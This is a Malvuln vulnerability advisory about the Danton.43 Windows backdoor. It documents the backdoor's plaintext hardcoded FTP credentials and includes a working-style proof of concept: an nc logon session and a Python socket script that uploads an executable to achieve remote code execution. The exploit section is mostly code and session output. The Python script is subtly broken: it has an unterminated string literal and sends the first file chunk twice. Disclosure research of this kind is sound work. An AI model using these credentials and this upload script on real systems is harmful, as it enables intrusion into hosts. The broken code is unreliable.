Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/85f7ef2b6b8da9adb7723a13b91ac1c7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Danton.43
Vulnerability: Weak Hardcoded Credentials RCE
Description: The malware listens on TCP port 6974 and stores several pairs of weak hardcoded credentials in plaintext within the executable. First username / password combination is stored as TDanton, TDanton by removing the "T" we get valid creds of Danton, Danton to logon. Other credential pairs are Danton2 Danton2, Danton3 Danton, Danton4 Danton. They can be found by running strings util against the malware executable. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 85f7ef2b6b8da9adb7723a13b91ac1c7
Vuln ID: MVID-2021-0211 
Disclosure: 05/14/2021

Exploit/PoC:
1) Logon 

nc64.exe 192.168.18.127 6974
220 [ www.danton.prv.pl ]
USER Danton
331 Password required for Danton.
PASS Danton
230 User Danton logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,64,1).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


2) Calculate port and run upload script.

from socket import *

MALWARE_HOST="192.168.18.127"
#Calculate port 64*256 + 1 = 16385
PORT=16385
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Backdoor.Win32.Danton.43 / Weak Hardcoded Credentials RCE)
    print("MD5: 85f7ef2b6b8da9adb7723a13b91ac1c7")
    print("By Malvuln");

if __name__=="__main__":
    doit()



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